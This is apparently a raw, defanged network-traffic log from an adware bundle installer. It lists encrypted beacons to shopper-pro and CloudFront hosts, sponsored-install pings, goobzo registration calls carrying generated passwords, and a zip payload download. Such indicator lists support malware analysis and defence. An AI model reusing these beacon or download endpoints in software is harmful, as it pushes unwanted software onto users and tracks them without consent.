hxxp://rep.shopper-pro.com/app/ping.ashx?e=k64GogClQtX0g02wEBPEIpwW94MmDkBo 0R MP RL3UJOLXkS9L/h2bktPzt6Fdq2Mmy0imF8H6y6fGzNs6vFFcFomV8AFsitEqcnNVE9dtcc7Myhd t67Mh5HNq1rWG6F60BcQWyjYd3lq0kFqZiozwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbcvKYfodYqVdvUzp5P7xtxpmtPfLoqsZt80t8dT6BdnpggjzHXGMbB/NR8FfqzoH7/JMgjtIyKhDAHl6w3H159Q==	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=aQQpsP6/AW07SHxFqnYavKKMB9u4RTbHOggt0NtNk2sSZTerw9Y85dVUaX7QH4bytNUutjdaeNpYZ/hmEaa6tArnDblgaQV5rBEAeiNSKIRgKkdlz1lRoRVZ6ImNImI0nDgs7q5vmXmt09Lyj4wnxwOcMrd2QP26bT3cle1PWdtSntfB84 2wHYR9ma6URQcqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGwUbmkSx215zMR0tXSlEdaRjVew HFEZV9jVBmhFP5Xl0m/qXEXQVTAkGPSBUe9lxO8SsEd1vQGPfwqbgkyABd	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=gwZ4/u7hMkJxQPEjIVQx7hqaufDNaULH2YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrVTOts69f7XGIYay O9/s6NCzlqZV7epfeAZVSGbvho61J8WDbI2zXWceTUfoD7PiV6vD/UV1iyHQCKxuPRxPeaGzln9Vv6k7XdemwkRcKlLaQaFS VkBZ3QmA92KA lJBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dxdnyqIR9QB0AQnQZzuX1yNmvCWkeRoBuc8AeJDgT7Zi0F/VPm5PDzJ8vVj3bGRolDVsX3TspvaCx8kpng0IpIJ	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=gwZ4/u7hMkJxQPEjIVQx7hqaufDNaULH2YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrVTOts69f7XGIYay O9/s6NCzlqZV7epfeAZVSGbvho4xEz6FfERdwJw4LO6ub5l5rBjqlmzKnb1Tx2y1fQnwbvamwkcEQSgO2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvnzbANYrsS2gc/dW/OzxIfNag72ELJ8PIdBfI iBFWPgCmFZX07bmHdPS5THftJlVZWLfeo/B59z4BlKlGJcuDg	54.197.238.106
hxxp://d1cfk8e4o0c4u2.cloudfront.net/12360.ashx?e=t1D UTAmiecfAxEXghvnLHKmjUZeFmYR1VMaOJFqXYpm5LT87ehXavGh154/D7lxR1Rpsdyw5pJf2jlNqCyNxnUA/V9YOY ovlOYPgY7I1SI555jIm0IOnwF8xC533Fc/gWpMzttQ0rMO5V10xYyR5tezSSaH/lI31fTgrR12XwN5lyRGN/ZhwIcLERiDa7ohckeENmAaNmt 0p5raZActNf/sN34NbwCNjTunKSGe4R fXJinWV7npoW8o/g6d5g577mTPDhZg2zg/uCXuilY0oQa07NiSGSxlUI07Q8alBxic0Zdxxc/JtdSrpfwDO94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsAJSrNW7Zt5N3DunU6zYc038 q0WKoLP7XBgSL9c3oaEj16axw0ikNw==
hxxp://rep.shopper-pro.com/app/ping.ashx?e=gwZ4/u7hMkJxQPEjIVQx7hqaufDNaULH2YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrVTOts69f7XGIYay O9/s6NCzlqZV7epfeAZVSGbvho4 fec90flyKxMkX9sPQVhQoOH/4D/1WW drxeglkK7bM8DllDAjWZb4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJrw5bx1Bs6wX8BgxUqGiKxJDD1wMzW lCkDinyg6p6Cm3h8XZzZCMTnQmv/yP0TnEHH/jy8G4FGJY4SiD403Los	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=PcwT4QFtuPCnIVMsUgdaKaKMB9u4RTbHOggt0NtNk2sSZTerw9Y85dVUaX7QH4bytNUutjdaeNpYZ/hmEaa6tArnDblgaQV5rBEAeiNSKIRgKkdlz1lRoXg/MOwCCT3fpsrZDsYYadbOj/D8d98sTJIE6m2lhk6FB84hjoFBGFqrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEbBRuaRLHbXnMxHS1dKUR1pGNV7D4cURlX2NUGaEU/leXSb pcRdBVMCQY9IFR72XE7xKwR3W9AY9/CpuCTIAF0=	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=lOCrbsNL2zWQ5lb rGZVAjg2g5AFJwuPAeG8v9m1fNeRoZJTpqsyZxASc9FSZWyoWTYC2lEyeiSf/q8AVmKmzb kAny30vKUdqs4LRFOOXPwsHnwsxHHbSdvNRLeb/tYs4164GCUCrFoceVsKClDm/Wv9kqlZCJeiSUZWap5kVTyfwmWa4R8zuIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF/AYMVKhoisSQw9cDM1vpQpA4p8oOqegpt4fF2c2QjE50Jr/8j9E5xBtUYb9dqX32KOEog NNy6LA==	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=lOCrbsNL2zWQ5lb rGZVAjg2g5AFJwuPAeG8v9m1fNeRoZJTpqsyZxASc9FSZWyoWTYC2lEyeiSf/q8AVmKmzb kAny30vKUdqs4LRFOOXPwsHnwsxHHbSdvNRLeb/tYs4164GCUCrFoceVsKClDm0InYace3OQdd8zJZOZia4B/MCmMt8HPuvtm2x/E2lxmxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJegMBsN/V/kjxagsjM/ITaNX9o5TagsjcZ1AP1fWDmPqL5TmD4GOyNUiOeeYyJtCDomTADg95nKug8SfsOq8sVv	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=LG8dwPiPk7MfAxEXghvnLHKmjUZeFmYRTEgCpOx0T0GQL2F0hg1RiTdGGPs8AIHkD5OatmcvVLgIIY8Ek1vDoS1P9Lpxqdc1sekHTLzI3I1V9oK7vZm95VRGW796HUe3a50u3XyigpVREcH6lvzpS5NOnjhl29VMiawHEBbFjHDiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmvDlvHUGzrBfwGDFSoaIrEkMPXAzNb6UKQOKfKDqnoKbeHxdnNkIxOdCa//I/ROcQbVGG/Xal99ijhKIPjTcuiw=	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=aQQpsP6/AW3kex8By7Tt8w6hxqMAiseH6QEhIMw1h6EicvsFwQStENB87jgWTbK//EmjUQkbJhEHQLr2mOlyIz068ccWs 9Pz2hvqQZi650ONJ1hFt635xZtcNn99AarGKzY45zi1OnWyB8eDAkaihrzHkXTPDbIs2bRVJi5NlOrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEbBRuaRLHbXnMxHS1dKUR1pGNV7D4cURlX2NUGaEU/leXSb pcRdBVMCQY9IFR72XAODVeEYVPS89/CpuCTIAF0=	54.197.238.106
hxxp://d1cfk8e4o0c4u2.cloudfront.net/12360.ashx?e=657cd9m3NQGxXIjuhqBZpaKMB9u4RTbHEhGH33nPGlEQyol6Hp9Rdg0/niVdnGaSoJgmsLZ3n9aa8JaR5GgG5zwB4kOBPtmLQX9U bk8PMny9WPdsZGiUE0RnAbEs26ALnCMwJJTkXqSYeASUebplp3Zhqce6bh85i6K0mlT5TWmFos9rzojEsyeWqtXwvV7KYX3Ti/i3YPvxAwLXMukWzjXjZd m6fcoMilJCrTiJmdNM/FWlP8nY9nTXJsYRGYF4yctsH/05cx2oSslfro2aAV qdlpziQkAthTeQnkDpnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UrP3Vvzs8SHzWoO9hCyfDyHQXyPogRVj4AphWV9O25h3WNYuYnxNQ0D
hxxp://d1cfk8e4o0c4u2.cloudfront.net/12360.ashx?e=657cd9m3NQGxXIjuhqBZpaKMB9u4RTbHEhGH33nPGlEQyol6Hp9Rdg0/niVdnGaSoJgmsLZ3n9aa8JaR5GgG5zwB4kOBPtmLQX9U bk8PMny9WPdsZGiUE0RnAbEs26ALnCMwJJTkXqSYeASUebplp3Zhqce6bh85i6K0mlT5TW6pljsVW0GPgTxIUcsgQ wxQcgloBwSmMwmitO34V/86C1h8Hfn1ha4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlMxHS1dKUR1pGNV7D4cURlX2NUGaEU/leXSb pcRdBVPW3Rb/o1mcbQ==
hxxp://d1cfk8e4o0c4u2.cloudfront.net/12360.ashx?e=657cd9m3NQGxXIjuhqBZpaKMB9u4RTbHEhGH33nPGlEQyol6Hp9Rdg0/niVdnGaSoJgmsLZ3n9aa8JaR5GgG5zwB4kOBPtmLQX9U bk8PMny9WPdsZGiUE0RnAbEs26ALnCMwJJTkXqSYeASUebplp3Zhqce6bh85i6K0mlT5TWz8LjnD4BZNQQy9IgZy5lJKYX3Ti/i3YPT/CRzrsOCIH6ilCzii/A hOeBVpsxK34gGeUpHHIWiSSfRcuIfR0fUu0KI1IApgUwqc65TUDdv B nBl74nR04xARCSAmc2kdn4Mm3Md6mgTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS7LWvLQh8ZZLTsh99cIIi4OA0W792F4MMLLmtrw37K 84loSkHQibl3KsGcMQF H3w==
hxxp://d1cfk8e4o0c4u2.cloudfront.net/12360.ashx?e=4OQPU60dJ1r0g02wEBPEIs8q2G10cZF9QF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3L2dvkIonkcUMPXAzNb6UKQOKfKDqnoKbeHxdnNkIxOeeTfIsgvSooK0SVeSAj4Vj/u6z7Uinv/hsm3hTIndG2Ogw5PM1v4VCcEv 7r5M40TRSDnJgw6QhBQC drCF7eF5GrYQssP4wOoVp8udoc6545aVH6/7KX12M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2jNYg3n/nM84mvCWkeRoBuc8AeJDgT7Zi0F/VPm5PDzJ8vVj3bGRolCRcTVXkFsGRg==
hxxp://rep.shopper-pro.com/app/ping.ashx?e=2fVCHF6kf8hPNjxRBLtb4/75HOxIex29t8f6YpiR28IQ9XpMu3JNOBkCEmVIqL1m4nTb6ugC6CtZtfKtkl4IFkLyQm1Fhdcy/5x4LyIWqji6QuzXSWi Ubm26xUzbFgx9jUckoqA0UYfqfFPqatGFoqP4Ly2z sHBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dxdnyqIR9QB0AQnQZzuX1yNmvCWkeRoBuc8AeJDgT7Zi0F/VPm5PDzJ8vVj3bGRolAoMQOXr8JWgx8kpng0IpIJ	54.197.238.106
hxxp://installer.betterinstaller.com/pinger?event_type=install_complete&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=6ce1d45cb9dcbf614e3d4452d7aa3413&tokyo_csrf2_timestamp=1423540742&slot_number=1&index_in_screen=1&index_in_session=1&0.5265121811415413
hxxp://rep.shopper-pro.com/app/ping.ashx?e=EneY65zUkfkfAxEXghvnLOqbVOxvEbYsTEgCpOx0T0GQL2F0hg1RiTdGGPs8AIHkD5OatmcvVLgIIY8Ek1vDoS1P9Lpxqdc1sekHTLzI3I00A75TMG4v BbKdUb4fSU3inFskWrXAmXG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l6AwGw39X SPFqCyMz8hNo1f2jlNqCyNxnUA/V9YOY ovlOYPgY7I1SI555jIm0IOtZDXSYpq/nUDxJ w6ryxW8=	54.197.238.106
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=6ce1d45cb9dcbf614e3d4452d7aa3413&tokyo_csrf2_timestamp=1423540742&slot_number=2&index_in_screen=1&index_in_session=2&0.36364095208215385
hxxp://sourceapp.info/mg?alpha=aU4RaDF3DytoUWxHPkI VgdTezQ3XRVUcRJDTG9vPEo8PnQqcUYTVmkOfBsRM1gJOkQdTGJudANKXUYjbW1wGjIHPyEANT1ncxtiAx0 Uj4rUhc5bX9LRAkxHyATNy1vH01jNDwyEQNfawwNbmA1WBQ9TWkuJil NhUANWI9DTA5SgdMWXE3MhcBZ2YURGcHOSxWAWQrckhSQW9MLRJ8SR0 Hj4n
hxxp://sourceapp.info/mg?alpha=aU4RaDElfCMzdycKPkI+aApCZTFpCBMZOB0iYl9caR9QeT1IRgwaWB0OEBxkNC4JTzhpSw0ecXA9NEIhekYrZUQRGQ0nOjl4QzZrVi9y
hxxp://rep.shopper-pro.com/app/ping.ashx?e=eISsn0A7mAYLpXZ/jUeRRqKMB9u4RTbHQN2G3STfV1oSZTerw9Y85XkjLFx9TDtKeHo6FOnjNt3Tp8VZQ/4p3GivYS/d2rWv9A8dpvtBeO2hc3DbjNrW8PQYnQ1xoKSBiZYn8TH3Pe3MlW9RFqOniiR/VPwArHZ1QMCg3fniKLWzp3t4zCe899YNvMh53GZdODaDkAUnC4/kfaS0xvxjr7Lp8bM2zq8UETt5/U4HLkXYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW aNKDh4dmbgaEpC43Yrp89RvUzp5P7xtxpmtPfLoqsZt80t8dT6BdnpggjzHXGMbB/NR8FfqzoH7R0qlvkz/HCA=	54.197.238.106
hxxp://sourceapp.info/mg?alpha=cEYhZkZrXEBkPDJ DkxJTw9jdUMuIzdIbRd8ZA==
hxxp://rep.shopper-pro.com/app/ping.ashx?e=hpY1rXLYst5PNjxRBLtb498v6J f91o2t8f6YpiR28K/M iZRiJnRhtT6IeDjCpqRrDDJryscYuwFzwQJxJEYQPtg8qbXELpazTs3rfRMhkokLndUNuBHKli32pbacVsRHq5gcybEjCOuHii8r8WvPeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5GbVYBUSgIm8gGkTf2Va 9U7IffXCCIuDgNFu/dheDDCy5ra8N yvvOJaEpB0Im5dY1AbLh2FxzOmrvcVl0Mf/w==	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=aL/yzOcQGPn0g02wEBPEIpz IJ08V/lZvYHWe71VaIq/YV5 X6RdAPxJo1EJGyYR emd3LAicSsYxvLhUCYsoqU5dC70bWKoiViAEPFo6Yp/1ErfmLF8//Y1HJKKgNFG88zk3vjcmKQHI/73rKtKucbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXoDAbDf1f5I8WoLIzPyE2jV/aOU2oLI3GdQD9X1g5j6i U5g BjsjVIjnnmMibQg6AUq9vGFcnz4PEn7DqvLFbw==	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=hpY1rXLYst5PNjxRBLtb498v6J f91o2t8f6YpiR28K/M iZRiJnRhtT6IeDjCpqRrDDJryscYuwFzwQJxJEYQPtg8qbXELpazTs3rfRMhlFL7m3g1Pd1SLNABL9ZIdQyiY9uJr/F46Krb0sfh10 a9t7URjkW8nIBpE39lWvvVOyH31wgiLg4DRbv3YXgwwsua2vDfsr7ziWhKQdCJuXZvjzBMdMQwXYeeO3me1TXZFx/2xcaGYCPVEGXvKe lWxW20GZ81oXcWMQ1BN/ Lt4sKLU3NDKjiEPV6TLtyTTjV2KQEqxOS3RYxDUE3/4u34EGnDyPkfaNEd5niUXT1yikFELT1v5WKf/IF1C38O75NDkZJCBLdPWbktPzt6Fdq8aHXnj8PuXFHVGmx3LDmkl/aOU2oLI3GdQD9X1g5j6i U5g BjsjVIjnnmMibQg6RaqoA9wMXB4co20Bv tF/mdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUMAlKs1btm3k3cO6dTrNhzTfz6rRYqgs/tcGBIv1zehoSikoE2tkaBcQp/ql BaU3X36Kc9MtkO2A==	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=aL/yzOcQGPn0g02wEBPEIpz IJ08V/lZvYHWe71VaIq/YV5 X6RdAPxJo1EJGyYR emd3LAicSsYxvLhUCYsoqU5dC70bWKoiViAEPFo6Yp/1ErfmLF8//Y1HJKKgNFGH6nxT6mrRhaKj C8ts/rBwTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3cXZ8qiEfUAdAEJ0Gc7l9cjZrwlpHkaAbnPAHiQ4E 2YtBf1T5uTw8yfL1Y92xkaJQ1bF907Kb2gsfJKZ4NCKSCQ==	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=aQQpsP6/AW07SHxFqnYavIoO1eWHRXrJB70p5cFj8vcD/fqz7XUSNP/TL4QSzfDiScQhY67GlQ8RWdSCCrEc0hVpeWF2oQIshgCEqrXpIWd7HEv67ptHclD/oBpUX5crnl1xOKDZuhX43G01TipW9reVFPQewwTdqF2K7v3Wx4P3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ORm1WAVEoCJvIBpE39lWvvVOyH31wgiLg4DRbv3YXgwwsua2vDfsr7ziWhKQdCJuXX29hXkrzRmBpq73FZdDH/8=	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=aQQpsP6/AW07SHxFqnYavIoO1eWHRXrJB70p5cFj8vcD/fqz7XUSNP/TL4QSzfDiScQhY67GlQ8RWdSCCrEc0hVpeWF2oQIshgCEqrXpIWd7HEv67ptHclD/oBpUX5crnl1xOKDZuhX43G01TipW9smoUR/DSN1Jzq8kbQMYE3PNCovy49GhxATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3cXZ8qiEfUAdAEJ0Gc7l9cjZrwlpHkaAbnPAHiQ4E 2YtBf1T5uTw8yfL1Y92xkaJQOURgqahV TsfJKZ4NCKSCQ==	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=/k6kR j50tq2T48fwpLktHFA8SMhVDHu5xbIj7nK9dCovKrJ6qtuelLEqfJll8EjZuS0/O3oV2poN0mNQrpltmZheUL K4kTJm eineCeW1gKkdlz1lRob0AS4HDB5HfWjwfqp7MHxGpMWXGXOfhUiXwmSZn9bL3CkMpf9re0fn3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ORm1WAVEoCJvIBpE39lWvvVOyH31wgiLg4DRbv3YXgwwsua2vDfsr7ziWhKQdCJuXX29hXkrzRmBpq73FZdDH/8=	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=KC46TpkJIZzvtemz1TdLVrDpZe2yTinl62ls PLHCLAq gheK7Gg4DYaplvWkff44nTb6ugC6Ctc8vOzKdCq69YWEGuVyPbKuYb0cBP340pyxpcczop0tDrivPGjoLLtG2u1qI5AhqfiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmvDlvHUGzrBfwGDFSoaIrEkMPXAzNb6UKQOKfKDqnoKbeHxdnNkIxOdCa//I/ROcQbVGG/Xal99ijhKIPjTcuiw=	54.197.238.106
hxxp://sourceapp.info/fp?alpha=ejx6ZCYrNGddMHJhVU4pe3gpaSZ6YGwVZ109O3t6fSh3ZGB4TXMQSgkLF2R3Oy12RS5nThMQZntILzlGYhtzZCNmSjp9VV8WancwX2gBaTk5PXkoeG0kLRAjBFJ6JjN/aDtwIipGcxtKfXtmf3QgL3cwWXtCFGJ5ZzorOiYtKlhpNml5aTp1NmVqcXdSLAQKNGkgbDIrfGgnCCMNQn5zJy1kNnEnP0F6Ak5xbjRgZ3Utb2MOah4WcDY7N0tgbyo3XyxAcGtrIH50PDM2KlN/HHZATDYudy5hOy8ZJwxUeCQsLS56f0R2Hi5NDztuEjchc3QrZBgUBhdvZ2I9KQImOixfMF1lPjB4JF9lanwCDjt9FyJNJX0oC2U6KwUnDFRxVDgPalQGVy1iZXABLi4p
hxxp://sourceapp.info/ii?alpha=fThCZHBmAVgaRTkubU5/fHwRaXB9ZE5MfUgLVnU1L2QIIzVoSSFNWz0pCxNhYTged1k/N3hrMGE/FiZmenM+bRgROAJ8cy9yDSIoQGlbSS9/JQFkOihqGhFyCSc1V2p7dBl7AVxZRhVofWcsZiBXMzVEDA48WGQ3FEplPnAlKzNnEFU3Anh3KXpUYzsBMSoIcD0gQTY6P2hBajJUWxlzJDs1QTAgPhAXRGw9JThvICEwRy8Ff04seDNnOxE5cC84YRhZQDdlG2BzJxAoZVQ1U1Msa3sDdjB7OxMFIlISVnkvPTxcfwhxFwBNXSAsGnJGeHATbks+Xit2UiNhRW0lOzRhOldPKn5oZmoxFiJ8XmYkAGI5OkUrK209FggzXhQGfz8ueV4jJnNUSAIfYXpIPWJ9fxlmAQgQezprImYDIAMmNHoxUgNZRCkyeSdNd3tHNTAcLD1kSXw6OnsaEXAXV0AkeiY4E3J1IkFCGBt5cFxjKyEvTTYIaxpoa1QceUJ6M2R9WBlBQnhVaBB1JhAkdF0oVxoRTEc9JVgyfkwIBF4QGXU5bTxAIXgpUggfH08fBD1Ufnw=
hxxp://sourceapp.info/if?alpha=fThCZHArGUU2TjMwbU5/fHwRaXB9ZE5MfUgLVnU1L2QIIzVoSSFNWz0pCxNhYTged1k/N3hrMGE/FiZmenM+bRgROAJ8cy9yDSIoQGlbSS9/JQFkOihqGhFyCSc1V2p7dBl7AVxZRhVofWcsZiBXMzVEDA48WGQ3FEplPnAtPjMHXkZmXAEodSAvOHldW3NTNmx8UmhqZj4BXn0JVkEjcntrAHJ8NkZAEBp6eUg2dHdcBW4BJBtkJm4+fEYuMi07TCZZdTcBeGgsel1jJQEmNQx3PSVSYnk0QUhLfW41VnkvPyBeJ3hPHRxGQTg5QnInJTMVaEhrEW8gZyMzbmE1OjJ9O1BXKmchKHg7EyI1BihUSC1pcQd2dTRjRkRgdUZQYDk5KkctKzhOUhQAfmRZZCEgPgRkTjsXfzMiIW9AY3ZyfT96BgVlQyQncjNZFHtWZG1JKi88IWt1L2hDCBNPBwRzL2J/QDR4LFIcEF5yM0gzZywnRy0NfUw6O2NsPhMyY3hnO2IMETsKeHcmY1B3cUU1Unc1bmYRKTwNQFBJMl5GJn8uPyxPLmVLVCFhfQZqKjtiej4zZEokHXkgEhoFHyxj
hxxp://installer.betterinstaller.com/pinger?event_type=install_fail&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=6ce1d45cb9dcbf614e3d4452d7aa3413&tokyo_csrf2_timestamp=1423540742&slot_number=2&index_in_screen=1&index_in_session=2&0.1812382685800079
hxxp://rep.shopper-pro.com/app/ping.ashx?e=eISsn0A7mAYLpXZ/jUeRRooO1eWHRXrJgAXeBxis9tbMtMAqTKBPI30QpZ Jj0 vMQUKzn11DFWqS3j1P9iGnLOjtqelOAq5bHiD3ocgsXa8rJULUDCmwLTVLrY3WnjaAfnYFBLZUOG9ABjuVptn8v8ankP8n9dyrKt6FFFGjDmPwcSeTfjP3YwzWtA8HvLhO/aQqt8CJEtnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYLeE9x6iyf1Tugk9ujcDbdil69321W5yp2f ofqKPWEn	54.197.238.106
hxxp://online.goobzo.com/online/Register.aspx?CV=2.0.0.0&ProductID=12000&UserID=&Password=&OS=10&EMail=&Newsletter=&V=3.3.9.4&Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&BundleID=NONE&BrandID=NONE&PartnerList=	212.143.22.119
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action1=xa.geoip&action2=visit&action3=smt.visit.mystartsearch&update1=ref,smt&update2=identifier,installer&update3=version,6.3.76.1518&update4=nation,us&update5=language,en
hxxp://online.goobzo.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=afe88cb7-8d54-4fb1-a659-909a345b04f7&Password=kt1ZkW7W&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1423540765&SBPIDS=1&KA=1	212.143.22.119
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=mystartsearch&tokyo_csrf2_key=6ce1d45cb9dcbf614e3d4452d7aa3413&tokyo_csrf2_timestamp=1423540742&slot_number=3&index_in_screen=1&index_in_session=3&0.1977497756824642
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=afe88cb7-8d54-4fb1-a659-909a345b04f7&Password=kt1ZkW7W&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1423540765&SBPIDS=1&KA=1	212.143.22.119
hxxp://online.goobzo.com/online/RegisterAnon.aspx?ProductID=12000&Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&BundleID=NONE&BrandID=NONE&PartnerList=	212.143.22.119
hxxp://www.inisxriy.com/infv3/index/2606/bnd/6.3.76.1518/7a9c839b08544f0d77986f6e82d16b3f	50.23.120.57
hxxp://online.goobzo.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=e5482312-2be3-46f2-b003-7761c59feba2&Password=oP5QhnYw&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1423540766&SBPIDS=1&KA=1	212.143.22.119
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=e5482312-2be3-46f2-b003-7761c59feba2&Password=oP5QhnYw&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1423540766&SBPIDS=1&KA=1	212.143.22.119
hxxp://www.inisxriy.com/files/zip_r3/2606_ba3a47c5781b0c9bb6f586b6519791f6/1.zip	50.23.120.57
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=afe88cb7-8d54-4fb1-a659-909a345b04f7&Password=kt1ZkW7W&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1423540767&SBPIDS=1	212.143.22.119
hxxp://rep.shopper-pro.com/app/ping.ashx?e=XJYuqQQo69eJxiP7f9a/G/SDTbAQE8QivRI3A5nbHDjdEMPgzYwqeWQ14on7GBy1H8FvIvBulFZLg2W8Sjc jd8cMSGOxTWOZuS0/O3oV2rxodeePw 5cUdUabHcsOaSX9o5TagsjcZ1AP1fWDmPqL5TmD4GOyNUiOeeYyJtCDqXxrGh40ySfjpIRcIzv2J5 96KzbcM0zqdpBC4dpcfQ/t7tnmUrYIG3flsf95NzvTPcR1Y3Wmev59KkXGMmB33va5YssnN0Iq5rjUSno28rdQmnv N4UgHzaTF1Kz92D3G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l7S3VSitHfZqNG3q5t3agirWDyGWfVAQ/TynsL3GEE9TNltOE80g7Zt3DunU6zYc038 q0WKoLP7XBgSL9c3oaEjXvaPlEAzc1AiPRrwSalm	54.197.238.106
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.dlzip1.mystartsearch.finish,5
